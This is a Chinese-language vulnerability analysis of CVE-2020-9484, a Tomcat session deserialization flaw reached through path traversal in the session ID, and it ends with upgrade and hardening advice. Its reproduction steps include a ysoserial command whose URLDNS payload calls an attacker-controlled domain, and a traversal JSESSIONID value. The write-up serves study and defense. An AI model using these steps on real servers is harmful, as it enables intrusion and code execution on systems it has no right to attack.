CVE-2020-9484 tomcat session反序列化漏洞分析
字数 1217 2025-08-25 22:58:46

CVE-2020-9484 Tomcat Session反序列化漏洞分析

漏洞概述

CVE-2020-9484是Apache Tomcat中的一个Session反序列化漏洞,影响版本为:

  • 10.0.0-M1至10.0.0-M4
  • 9.0.0.M1至9.0.34
  • 8.5.0至8.5.54
  • 7.0.0至7.0.103

漏洞原理

该漏洞源于Tomcat在使用FileStore持久化Session时,未能对Session ID进行有效过滤,导致攻击者可以通过目录穿越符号(../)跳转到任意目录,加载恶意构造的.session文件,从而触发反序列化漏洞。

利用条件

要成功利用此漏洞,需要满足以下条件:

  1. 服务器配置了PersistenceManager并使用FileStore存储Session
  2. 攻击者能够上传一个文件名可控的文件(扩展名不限制)
  3. 攻击者知道上传文件的相对路径或绝对路径

环境配置

配置Tomcat使用FileStore

conf/context.xml中配置PersistenceManager

<Context>
    <Manager className="org.apache.catalina.session.PersistentManager">
        <Store className="org.apache.catalina.session.FileStore" directory="/tmp"/>
    </Manager>
</Context>

示例Servlet代码

protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
    Properties properties = new Properties();
    properties.setProperty("org.apache.catalina.session.StandardSession.ACTIVITY_CHECK", "true");
    System.setProperties(properties);
    String res = System.getProperty("org.apache.catalina.session.StandardSession.ACTIVITY_CHECK");
    System.out.println(res);
    HttpSession httpSession = req.getSession();
    httpSession.setAttribute("username", "admin");
    resp.getWriter().println("success");
}

漏洞分析

Session ID处理

  1. Tomcat在处理Session时,会将Session ID作为文件名(自动添加.session后缀)来存储Session数据
  2. 攻击者可以构造包含目录穿越符号的Session ID(如../../tmp/test
  3. 系统会尝试加载/tmp/test.session文件

反序列化过程

  1. 当Tomcat加载.session文件时,会创建ObjectInputStream
  2. 调用readObjectData方法读取文件内容
  3. 最终调用readObject方法,触发反序列化

漏洞复现步骤

  1. 使用ysoserial生成恶意序列化数据:

    java -jar ysoserial.jar URLDNS "http://attacker-controlled-domain.com" > /tmp/test.session
    
  2. 构造恶意请求,设置Session ID为目录穿越路径:

    JSESSIONID=../../../../../../tmp/test
    
  3. 发送请求触发漏洞,观察DNS查询验证是否成功

防御措施

  1. 升级Tomcat到安全版本:

    • 10.0.0-M5+
    • 9.0.35+
    • 8.5.55+
    • 7.0.104+
  2. 如果不使用Session持久化功能,不要配置PersistenceManager

  3. 如果必须使用FileStore,应:

    • 限制Session ID只包含安全字符
    • 将Session文件存储在安全目录中
    • 设置适当的文件权限
  4. 在Java环境中配置反序列化过滤器

技术细节

  • Session ID最大长度限制为200字节(可能限制攻击范围)
  • 文件扩展名固定为.session,因此攻击者需要控制文件名
  • 漏洞利用需要知道文件相对路径,增加了利用难度

总结

CVE-2020-9484是一个利用条件较为苛刻的反序列化漏洞,需要特定的服务器配置和攻击者能够上传可控文件。虽然利用难度较高,但一旦成功利用可能导致远程代码执行。建议用户及时升级Tomcat版本或按照上述防御措施进行防护。

CVE-2020-9484 Tomcat Session反序列化漏洞分析 漏洞概述 CVE-2020-9484是Apache Tomcat中的一个Session反序列化漏洞,影响版本为: 10.0.0-M1至10.0.0-M4 9.0.0.M1至9.0.34 8.5.0至8.5.54 7.0.0至7.0.103 漏洞原理 该漏洞源于Tomcat在使用FileStore持久化Session时,未能对Session ID进行有效过滤,导致攻击者可以通过目录穿越符号( ../ )跳转到任意目录,加载恶意构造的.session文件,从而触发反序列化漏洞。 利用条件 要成功利用此漏洞,需要满足以下条件: 服务器配置了 PersistenceManager 并使用 FileStore 存储Session 攻击者能够上传一个文件名可控的文件(扩展名不限制) 攻击者知道上传文件的相对路径或绝对路径 环境配置 配置Tomcat使用FileStore 在 conf/context.xml 中配置 PersistenceManager : 示例Servlet代码 漏洞分析 Session ID处理 Tomcat在处理Session时,会将Session ID作为文件名(自动添加 .session 后缀)来存储Session数据 攻击者可以构造包含目录穿越符号的Session ID(如 ../../tmp/test ) 系统会尝试加载 /tmp/test.session 文件 反序列化过程 当Tomcat加载 .session 文件时,会创建 ObjectInputStream 调用 readObjectData 方法读取文件内容 最终调用 readObject 方法,触发反序列化 漏洞复现步骤 使用ysoserial生成恶意序列化数据: 构造恶意请求,设置Session ID为目录穿越路径: 发送请求触发漏洞,观察DNS查询验证是否成功 防御措施 升级Tomcat到安全版本: 10.0.0-M5+ 9.0.35+ 8.5.55+ 7.0.104+ 如果不使用Session持久化功能,不要配置 PersistenceManager 如果必须使用 FileStore ,应: 限制Session ID只包含安全字符 将Session文件存储在安全目录中 设置适当的文件权限 在Java环境中配置反序列化过滤器 技术细节 Session ID最大长度限制为200字节(可能限制攻击范围) 文件扩展名固定为 .session ,因此攻击者需要控制文件名 漏洞利用需要知道文件相对路径,增加了利用难度 总结 CVE-2020-9484是一个利用条件较为苛刻的反序列化漏洞,需要特定的服务器配置和攻击者能够上传可控文件。虽然利用难度较高,但一旦成功利用可能导致远程代码执行。建议用户及时升级Tomcat版本或按照上述防御措施进行防护。